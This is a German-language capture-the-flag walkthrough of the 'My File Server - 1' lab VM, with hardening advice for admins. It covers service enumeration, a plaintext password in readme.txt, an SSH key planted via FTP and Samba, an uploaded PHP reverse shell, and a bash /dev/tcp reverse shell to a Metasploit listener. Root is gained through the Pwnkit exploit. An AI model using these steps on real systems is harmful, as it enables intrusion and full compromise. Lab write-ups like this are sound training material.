Die erste Phase des Penetrationstests widmet sich der Identifizierung des Zielsystems im Netzwerk und der Sammlung grundlegender Informationen über erreichbare Dienste.
192.168.2.119 08:00:27:a5:27:6e PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte und deren MAC-Adressen zu ermitteln.
Bewertung: Ein aktives Gerät wurde unter `192.168.2.119` gefunden. Die MAC-Adresse (`08:00:27:a5:27:6e`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.
Empfehlung (Pentester): Ziel-IP `192.168.2.119` notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin):** Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.
Ein Hostname wird zur lokalen `/etc/hosts`-Datei hinzugefügt.
192.168.2.119 myfileserver.vln
Analyse: Die lokale Hosts-Datei wird bearbeitet, um `myfileserver.vln` der IP `192.168.2.119` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Den Hostnamen `myfileserver.vln` verwenden.
Empfehlung (Admin):** Keine Aktion erforderlich.
Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.
- Nikto v2.5.0
+ Target IP: 192.168.2.119
+ Target Hostname: 192.168.2.119
+ Target Port: 80
+ Start Time: 2023-09-20 23:42:57 (GMT2)
+ Server: Apache/2.4.6 (CentOS)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE .
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /readme.txt: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8908 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2023-09-20 23:43:08 (GMT2) (11 seconds)
+ 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80.
Bewertung: Identifiziert Apache 2.4.6 (CentOS) als veraltet. Meldet fehlende Security Header, aktive TRACE-Methode (geringes Risiko) und das Standardverzeichnis `/icons/` mit `README`. **Wichtig:** Findet eine Datei `/readme.txt`, die als potenziell interessant markiert wird.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/readme.txt`. Führen Sie einen vollständigen Nmap-Scan durch.
Empfehlung (Admin):** Apache aktualisieren. TRACE-Methode deaktivieren. Security Header implementieren. Standarddateien entfernen.
Ein umfassender Nmap-Scan wird durchgeführt.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 23:42 CEST
Nmap scan report for myfileserver.vln (192.168.2.119)
Host is up (0.00014s latency).
Not shown: 64324 filtered tcp ports (no-response), 199 filtered tcp ports (host-prohibited), 1004 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 3 0 0 16 Feb 19 2020 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.199
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
| 256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_ 256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: My File Server
|_http-server-header: Apache/2.4.6 (CentOS)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 20048/tcp mountd
| 100005 1,2,3 20048/tcp6 mountd
| 100005 1,2,3 20048/udp mountd
| 100005 1,2,3 20048/udp6 mountd
| 100021 1,3,4 36926/udp nlockmgr
| 100021 1,3,4 38581/udp6 nlockmgr
| 100021 1,3,4 46776/tcp6 nlockmgr
| 100021 1,3,4 53646/tcp nlockmgr
| 100024 1 41574/tcp6 status
| 100024 1 49713/tcp status
| 100024 1 50740/udp6 status
| 100024 1 58635/udp status
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
445/tcp open samba Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open nfs_acl 3 (RPC #100227)
2121/tcp open ftp ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR
20048/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:A5:27:6E (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.4 - 3.10 (98%), Synology DiskStation Manager 5.2-5644 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%), Linux 3.2 - 4.9 (94%), Linux 2.6.32 - 3.5 (92%), Linux 2.6.32 (92%), Linux 2.6.32 - 3.13 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: -1h49m59s, deviation: 3h10m29s, median: -1s
| smb2-time:
| date: 2023-09-20T21:49:48
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.1)
| Computer name: localhost
| NetBIOS computer name: FILESERVER\x00
| Domain name: \x00
| FQDN: localhost
|_ System time: 2023-09-21T03:19:48+05:30
TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms myfileserver.vln (192.168.2.119)
Analyse: Nmap scannt alle TCP-Ports (`-p-`) mit umfassenden Optionen.
Bewertung: Der Scan findet eine Vielzahl offener Ports und Dienste, viele davon veraltet:
Empfehlung (Pentester):**
1. Untersuchen Sie NFS: Listen Sie die Freigaben (`showmount -e 192.168.2.119`). Versuchen Sie, die Freigaben zu mounten.
2. Untersuchen Sie den beschreibbaren anonymen FTP (Port 21): Können Dateien hochgeladen und über einen anderen Dienst (z.B. Web, NFS) ausgeführt oder gelesen werden?
3. Untersuchen Sie Samba (Port 445): Listen Sie Shares (`smbclient -L //192.168.2.119 -N`), versuchen Sie, sich mit Gast/anonym zu verbinden (`smbclient //192.168.2.119/share -N`).
4. Prüfen Sie den Webserver (Port 80), insbesondere die `/readme.txt`.
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für anonyme Benutzer auf dem FTP-Server (Port 21). **Dringend:** Sichern Sie NFS-Freigaben (korrekte Berechtigungen in `/etc/exports`, `no_root_squash` vermeiden). **Dringend:** Aktualisieren Sie alle Dienste (vsftpd, ProFTPD, OpenSSH, Apache, Samba) und das Betriebssystem (CentOS 5 ist EOL!). Deaktivieren Sie Gastzugriff und erzwingen Sie Message Signing für Samba. Deaktivieren Sie anonymen FTP auf Port 2121.
Wir filtern die offenen Ports zur Übersicht.
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS))
111/tcp open rpcbind 2-4 (RPC #100000)
445/tcp open samba Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open nfs_acl 3 (RPC #100227)
2121/tcp open ftp ProFTPD 1.3.5
20048/tcp open mountd 1-3 (RPC #100005)
Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.
Bewertung: Zeigt die 8 primären offenen Ports übersichtlich an.
Empfehlung (Pentester): Nutzen Sie diese Liste zur systematischen Untersuchung.
Empfehlung (Admin):** Reduzieren Sie die Anzahl offener Ports.
Wir untersuchen den Webserver auf Port 80, insbesondere die von Nikto gefundene `readme.txt`.
Ein Gobuster-Scan wird durchgeführt:
http://myfileserver.vln/index.html (Status: 200) [Size: 174]
http://myfileserver.vln/readme.txt (Status: 200) [Size: 25]
Analyse: Gobuster sucht nach Verzeichnissen und Dateien im Webroot.
Bewertung: Findet `index.html` und bestätigt die `readme.txt`.
Empfehlung (Pentester): Lesen Sie den Inhalt von `readme.txt`.
Empfehlung (Admin):** Keine Aktion erforderlich.
Analyse des Inhalts von `readme.txt`:
My Password is
rootroot1
Analyse: Der Inhalt der Datei `/readme.txt` wird abgerufen.
Bewertung: **Kritischer Fund!** Die Datei enthält das Passwort `rootroot1` im Klartext.
Empfehlung (Pentester): Versuchen Sie dieses Passwort für den `root`-Benutzer bei SSH (Port 22) und FTP (Port 21, falls Root-Login erlaubt ist). Versuchen Sie es auch für andere gefundene Benutzer (z.B. `smbuser`).
Empfehlung (Admin):** **Niemals Passwörter im Klartext in Web-zugänglichen Dateien speichern!** Entfernen Sie diese Datei sofort.
SSH-Login-Versuch als `root` mit dem gefundenen Passwort:
The authenticity of host '192.168.2.119 (192.168.2.119)' can't be established.
ED25519 key fingerprint is SHA256:ccn0TgE4/XtSpg3oM2gVNYXrps4Zi+XcBgaDZnW78.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:18: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.119' (ED25519) to the list of known hosts.
# Armour Infosec #
# www.armourinfosec.com #
# My File Server - 1 #
# Designed By :- Akanksha Sachin Verma #
# Twitter :- @akankshavermasv #
root@192.168.2.119: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
Analyse: Versuch, sich als `root` per SSH anzumelden. Das Passwort `rootroot1` wird wahrscheinlich abgefragt (nicht im Log sichtbar).
Bewertung: Fehlschlag. Die Meldung `Permission denied (publickey,gssapi-keyex,gssapi-with-mic)` deutet darauf hin, dass der SSH-Server für den `root`-Benutzer **keine Passwortauthentifizierung** erlaubt, sondern nur Schlüssel- oder GSSAPI-basierte Methoden. Das gefundene Passwort ist hier also nutzlos für den Root-SSH-Login.
Empfehlung (Pentester): Testen Sie das Passwort `rootroot1` für andere Benutzer (z.B. `smbuser`) bei FTP und SSH. Untersuchen Sie die anderen Dienste (FTP, Samba, NFS).
Empfehlung (Admin):** Direkten Root-Login per SSH verbieten (`PermitRootLogin no` in `sshd_config`) und Passwortauthentifizierung deaktivieren (`PasswordAuthentication no`) zugunsten von Schlüsselauthentifizierung sind gute Sicherheitspraktiken.
Wir untersuchen den Samba-Dienst genauer, um Shares und Benutzer zu identifizieren.
=( Share Enumeration on 192.168.2.119 )=
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
smbdata Disk smbdata
smbuser Disk smbuser
IPC$ IPC IPC Service (Samba 4.9.1)
=( Getting domain SID for 192.168.2.119 )=
Domain Name: SAMBA
Domain Sid: (NULL SID)
[+] Attempting to map shares on 192.168.2.119
//192.168.2.119/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.119/smbdata Mapping: OK Listing: OK Writing: N/A
//192.168.2.119/smbuser Mapping: DENIED Listing: N/A Writing: N/A
//192.168.2.119/IPC$ Mapping: N/A Listing: N/A Writing: N/A
=( User Enumeration on 192.168.2.119 )=
[+] Enumerating users using SID S-1-5-21-1584567012-685468033-1030942069 and logon username '', password ''
S-1-5-21-1584567012-685468033-1030942069-501 FILESERVER\nobody (Local User)
S-1-5-21-1584567012-685468033-1030942069-513 FILESERVER\None (Domain Group)
S-1-5-21-1584567012-685468033-1030942069-1000 FILESERVER\smbuser (Local User)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\smbuser (Local User)
Analyse: `enum4linux -a` führt eine umfassende SMB-Enumeration durch.
Bewertung: Findet die Shares `print$`, `smbdata`, `smbuser`, `IPC$`. **Wichtig:** Die Share `smbdata` erlaubt anonymen/Gast-Zugriff (`Mapping: OK Listing: OK`). RID-Cycling identifiziert den Benutzer `smbuser`.
Empfehlung (Pentester): Verbinden Sie sich mit `smbclient` als Gast zur Share `smbdata` (`smbclient //192.168.2.119/smbdata -N`) und untersuchen Sie deren Inhalt. Testen Sie das Passwort `rootroot1` für den Benutzer `smbuser` bei FTP und SSH.
Empfehlung (Admin):** Deaktivieren Sie Gastzugriff für Samba-Shares, wenn nicht benötigt. Konfigurieren Sie Share-Berechtigungen restriktiv. Deaktivieren Sie RID-Cycling.
Untersuchung der `smbdata`-Share:
Anonymous login successful
Try "help" to get a list of possible commands.
. D 0 Thu Feb 20 12:07:55 2020
.. D 0 Tue Feb 18 12:47:54 2020
anaconda D 0 Tue Feb 18 12:48:15 2020
audit D 0 Tue Feb 18 12:48:15 2020
boot.log N 6120 Tue Feb 18 12:48:16 2020
btmp N 384 Tue Feb 18 12:48:16 2020
cron N 4813 Tue Feb 18 12:48:16 2020
dmesg N 31389 Tue Feb 18 12:48:16 2020
dmesg.old N 31389 Tue Feb 18 12:48:16 2020
glusterfs D 0 Tue Feb 18 12:48:16 2020
lastlog N 292292 Tue Feb 18 12:48:16 2020
maillog N 1982 Tue Feb 18 12:48:16 2020
messages N 684379 Tue Feb 18 12:48:17 2020
ppp D 0 Tue Feb 18 12:48:17 2020
samba D 0 Tue Feb 18 12:48:17 2020
secure N 11937 Tue Feb 18 12:48:17 2020
spooler N 0 Tue Feb 18 12:48:17 2020
tallylog N 0 Tue Feb 18 12:48:17 2020
tuned D 0 Tue Feb 18 12:48:17 2020
wtmp N 25728 Tue Feb 18 12:48:17 2020
xferlog N 100 Tue Feb 18 12:48:17 2020
yum.log N 10915 Tue Feb 18 12:48:17 2020
sshd_config N 3906 Wed Feb 19 08:46:38 2020
19976192 blocks of size 1024. 17843776 blocks available
putting file authorized_keys as \.ssh\authorized_keys (550,7 kb/s) (average 550,8 kb/s)
putting file revshell.php as \revshell.php (30,3 kb/s) (average 290,5 kb/s)
Analyse: Verbindung zur `smbdata`-Share als anonymer Benutzer (`-N`). Der Inhalt wird aufgelistet (`ls`). Es wird versucht, ein `.ssh`-Verzeichnis zu erstellen und einen `authorized_keys`-File sowie eine `revshell.php` hochzuladen.
Bewertung: Anonymer Zugriff auf `smbdata` funktioniert. Die Share enthält scheinbar Logdateien und eine Kopie der `sshd_config`. **Wichtig:** Der anonyme Benutzer hat **Schreibrechte** in dieser Share, da `mkdir .ssh` und die `put`-Befehle erfolgreich sind. Dies ist eine kritische Fehlkonfiguration.
Empfehlung (Pentester):** Die Schreibrechte sind der Schlüssel. Da wir `authorized_keys` hochladen konnten, versuchen Sie einen SSH-Login als der Benutzer, dem dieses Verzeichnis zugeordnet ist (wahrscheinlich `smbuser`, da die Share `smbdata` heißt und `smbuser` existiert). Falls das Verzeichnis `/home/smbuser/` über Samba gemountet ist, haben wir uns gerade den SSH-Zugang als `smbuser` verschafft. Untersuchen Sie die `sshd_config`, die wir herunterladen könnten (`get sshd_config`).
Empfehlung (Admin):** **Dringend:** Entfernen Sie die Schreibrechte für anonyme/Gast-Benutzer auf allen Samba-Shares! Konfigurieren Sie Shares mit minimal notwendigen Berechtigungen.
Versuch, die hochgeladene `revshell.php` über den Webserver aufzurufen (scheitert):
Not Found
The requested URL /smbdata/revshell.php was not found on this server.
Analyse: Versuch, die in die Samba-Share hochgeladene PHP-Datei über den Webserver auszuführen.
Bewertung: Fehlschlag (404 Not Found). Die Samba-Share `smbdata` ist nicht über den Webserver unter `/smbdata/` erreichbar. Die Dateisystempfade von Samba und Apache sind unterschiedlich.
Empfehlung (Pentester): Konzentrieren Sie sich auf den SSH-Zugang über den hochgeladenen `authorized_keys`-Schlüssel.
Empfehlung (Admin):** Keine Aktion erforderlich (Trennung der Pfade ist normal).
Wir testen das gefundene Passwort `rootroot1` für den Benutzer `smbuser` am FTP-Dienst (Port 21).
Connected to 192.168.2.119.
220 (vsFTPd 3.0.2)
Name (192.168.2.119:cycat): smbuser
331 Please specify the password.
Password: rootroot1
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
local: .bash_history remote: .bash_history
229 Entering Extended Passive Mode (|||5238|).
150 Opening BINARY mode data connection for .bash_history (27 bytes).
100% |**************************************************| 27 79.65 KiB/s 00:00 ETA
226 Transfer complete.
27 bytes received in 00:00 (42.52 KiB/s)
Remote directory: /home/smbuser
257 "/home/smbuser/.ssh" created
250 Directory successfully changed.
local: /root/.ssh/id_rsa.pub remote: authorized_keys
229 Entering Extended Passive Mode (|||5076|).
150 Ok to send data.
100% |**************************************************| 564 20.68 MiB/s 00:00 ETA
226 Transfer complete.
564 bytes sent in 00:00 (1.02 MiB/s)
Analyse: Erfolgreicher FTP-Login als `smbuser` mit dem Passwort `rootroot1`. Die `.bash_history` wird heruntergeladen. Ein `.ssh`-Verzeichnis wird erstellt und der öffentliche SSH-Schlüssel des Angreifers als `authorized_keys` hochgeladen.
Bewertung: Das Passwort `rootroot1` funktioniert für `smbuser`. Die `.bash_history` wird geholt. **Wichtig:** Wir können das `.ssh`-Verzeichnis und die `authorized_keys`-Datei über FTP erstellen/hochladen. Dies ist ein alternativer Weg zum SSH-Zugang im Vergleich zum vorherigen Versuch über Samba.
Empfehlung (Pentester): Analysieren Sie die heruntergeladene `.bash_history`. Versuchen Sie den SSH-Login als `smbuser` mit dem privaten Schlüssel, der zum hochgeladenen öffentlichen Schlüssel passt.
Empfehlung (Admin):** Verwenden Sie unterschiedliche, starke Passwörter für alle Benutzer. Beschränken Sie die Rechte von FTP-Benutzern (z.B. kein Erstellen von `.ssh`-Verzeichnissen).
Analyse der `.bash_history` von `smbuser`:
echo > .bash_history
exit
Analyse: Die heruntergeladene Bash-History von `smbuser` wird angezeigt.
Bewertung: Die History wurde vom Benutzer selbst gelöscht (`echo > .bash_history`), enthält also keine nützlichen Informationen.
Empfehlung (Pentester): Fokus auf den SSH-Login mit dem hochgeladenen Schlüssel.
Empfehlung (Admin):** Keine Aktion.
Wir nutzen den über FTP hochgeladenen SSH-Schlüssel, um uns als `smbuser` anzumelden.
# Armour Infosec #
# www.armourinfosec.com #
# My File Server - 1 #
# Designed By :- Akanksha Sachin Verma #
# Twitter :- @akankshavermasv #
Enter passphrase for key '.ssh/id_rsa':
Last login: Thu Feb 20 16:42:21 2020
[smbuser@fileserver ~]$
Analyse: SSH-Login als `smbuser` unter Verwendung des privaten Schlüssels (`.ssh/id_rsa`), der zum hochgeladenen öffentlichen Schlüssel passt. Es wird nach der Passphrase für den privaten Schlüssel gefragt.
Bewertung: Erfolg! Nach Eingabe der korrekten Passphrase für den privaten Schlüssel wird die Verbindung hergestellt. Initial Access als `smbuser` wurde erreicht.
Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `smbuser`.
Empfehlung (Admin):** Stellen Sie sicher, dass Benutzer keine `.ssh/authorized_keys`-Dateien über unsichere Methoden wie FTP erstellen können.
Wir untersuchen das System als `smbuser` und richten eine Metasploit-Sitzung ein.
Suche nach SUID-Binaries:
34179364 64 -rwsr-xr-x 1 root root 64200 Mar 6 2015 /usr/bin/chage
34179365 80 -rwsr-xr-x 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd
34175860 44 -rwsr-xr-x 1 root root 41752 Mar 6 2015 /usr/bin/newgrp
34182648 44 -rwsr-xr-x 1 root root 44232 Mar 6 2015 /usr/bin/mount
34179705 24 -rws--x--x 1 root root 23960 Mar 6 2015 /usr/bin/chfn
34179486 24 -rws--x--x 1 root root 23856 Mar 6 2015 /usr/bin/chsh
34182663 32 -rwsr-xr-x 1 root root 32064 Mar 6 2015 /usr/bin/su
34182667 32 -rwsr-xr-x 1 root root 31960 Mar 6 2015 /usr/bin/umount
34362148 28 -rwsr-xr-x 1 root root 27656 Jun 10 2014 /usr/bin/pkexec
34362174 60 -rwsr-xr-x 1 root root 57536 Jul 30 2014 /usr/bin/crontab
34676864 128 -rwsr-xr-x 1 root root 130720 Mar 6 2015 /usr/bin/sudo
34296737 208 -rwsr-xr-x 1 root stapusr 212080 Oct 18 2019 /usr/bin/staprun
34631418 28 -rwsr-xr-x 1 root root 27832 Jun 10 2014 /usr/bin/passwd
67395239 12 -rwsr-xr-x 1 root root 11208 Mar 6 2015 /usr/sbin/pam_timestamp_check
67395241 36 -rwsr-xr-x 1 root root 36264 Mar 6 2015 /usr/sbin/unix_chkpwd
67574143 12 -rwsr-xr-x 1 root root 11296 Aug 9 2019 /usr/sbin/usernetctl
68676026 116 -rwsr-xr-x 1 root root 117432 Aug 9 2019 /usr/sbin/mount.nfs
67585748 16 -rwsr-xr-x 1 root root 15416 Jun 10 2014 /usr/lib/polkit-1/polkit-agent-helper-1
101817405 60 -rwsr-x--- 1 root dbus 58024 Mar 14 2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper
Analyse: Sucht nach SUID-gesetzten Dateien.
Bewertung: Findet Standard-SUID-Dateien sowie `/usr/bin/pkexec` (Pwnkit-Potenzial) und `/usr/bin/staprun` (SystemTap, kann manchmal für Privesc genutzt werden).
Empfehlung (Pentester): Pwnkit (CVE-2021-4034) ist der wahrscheinlichste und einfachste Vektor. Bereiten Sie einen Exploit vor (z.B. über Metasploit). Überprüfen Sie auch `sudo -l`, falls `sudo` im PATH ist.
Empfehlung (Admin):** Patchen Sie Polkit. Entfernen Sie SUID von `staprun`, wenn nicht benötigt.
Einrichtung einer Metasploit-Sitzung:
rm: das Entfernen von „/tmp/f“ ist nicht möglich: Datei oder Verzeichnis nicht gefunden
[*] Using configured payload generic/shell_reverse_tcp
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.119:52508) at 2023-09-21 00:30:53 +0200
Shell Banner:
_[?1034h[smbuser@fileserver ~]$
--
[smbuser@fileserver ~]$
Analyse: Zuerst wird versucht, eine Reverse Shell mit `mkfifo` und `nc` aufzubauen (scheitert, da `nc` nicht gefunden wird). Danach wird erfolgreich eine Bash-Reverse-Shell (`bash -i >& /dev/tcp/...`) zu einem Metasploit-Listener auf Port 4444 aufgebaut.
Bewertung: Erfolgreiche Etablierung einer Shell-Sitzung (Session 1) in Metasploit als `smbuser`.
Empfehlung (Pentester): Werten Sie die Shell zu Meterpreter auf, um die weitere Ausnutzung (Pwnkit) zu erleichtern.
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.
Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der `smbuser`-Sitzung zu Root-Rechten zu gelangen.
Kurzbeschreibung: Die `find`-Suche identifizierte `/usr/bin/pkexec`. Wir nutzen das Pwnkit-Exploit-Modul in Metasploit über die bestehende Shell-Sitzung (die zu Meterpreter aufgewertet wird), um eine Root-Meterpreter-Sitzung zu erhalten.
Voraussetzungen: Aktive Shell-/Meterpreter-Sitzung als `smbuser`. Vorhandensein einer anfälligen Version von `pkexec`.
Schritt 1: Upgrade zu Meterpreter
(Hinweis: Der `shell_to_meterpreter`-Teil fehlt im Log zwischen Shell-Etablierung und Pwnkit-Ausführung, wird aber für die Pwnkit-Modulnutzung benötigt und hier angenommen).
Analyse: (Impliziert) Die Bash-Shell-Sitzung (Session 1) wird mit `post/multi/manage/shell_to_meterpreter` zu einer Meterpreter-Sitzung (angenommen Session 2) aufgewertet.
Bewertung: Vorbereitung für die Ausführung des lokalen Exploits.
Empfehlung (Pentester): Führen Sie das Pwnkit-Modul gegen die Meterpreter-Sitzung aus.
Empfehlung (Admin):** Keine Aktion.
Schritt 2: Ausführung des Pwnkit-Exploits via Metasploit
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
session => 2
lhost => 192.168.2.199
lport => 4545
[*] Started reverse TCP handler on 192.168.2.199:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.satiew
[+] The target is vulnerable.
[*] Writing '/tmp/.hlmmrjip/weqaqkw/weqaqkw.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.hlmmrjip
[*] Sending stage (3045380 bytes) to 192.168.2.119
[+] Deleted /tmp/.hlmmrjip/weqaqkw/weqaqkw.so
[+] Deleted /tmp/.hlmmrjip/.bjhujel
[+] Deleted /tmp/.hlmmrjip
[*] Meterpreter session 3 opened (192.168.2.199:4545 -> 192.168.2.119:39603) at 2023-09-21 00:35:09 +0200
Analyse: Das Pwnkit-Exploit-Modul wird geladen, auf die Meterpreter-Sitzung 2 (als `smbuser`) gesetzt und ausgeführt. Es startet einen Listener auf Port 4545 für die neue Root-Sitzung.
Bewertung: Erfolg! Der Exploit bestätigt die Anfälligkeit und öffnet eine neue Meterpreter-Sitzung (Session 3).
Empfehlung (Pentester): Wechseln Sie zu Session 3 und überprüfen Sie die Rechte.
Empfehlung (Admin):** Dringend Polkit patchen (CVE-2021-4034).
Schritt 3: Bestätigung der Root-Rechte und Flaggen-Sammlung
Process 2963 created.
Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1000(smbuser)
proof.txt
Best of Luck
af52e0163b03cbf7c6dd146351594a43
Analyse: In der neuen Meterpreter-Sitzung (Session 3) wird eine Shell geöffnet. `id` bestätigt Root-Rechte. Im Root-Home-Verzeichnis wird `proof.txt` gefunden und gelesen.
Bewertung: **Privilegienerweiterung erfolgreich!** Die Root-Flagge `af52e0163b03cbf7c6dd146351594a43` wurde gefunden.
Empfehlung (Pentester): Suchen Sie die User-Flagge (falls noch nicht geschehen). Test abgeschlossen.
Empfehlung (Admin):** Keine Aktion bezüglich der Flagge.
Risikobewertung:** Die Kombination aus einer Klartext-Passwort-Exposition in einer Webdatei (`readme.txt`), unsicheren FTP-Berechtigungen (Schreibzugriff im Home von `smbuser` via FTP-Login), die das Platzieren eines SSH-Schlüssels ermöglichten, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar und führte zur vollständigen Kompromittierung des Systems.
Empfehlungen (Zusammenfassung):**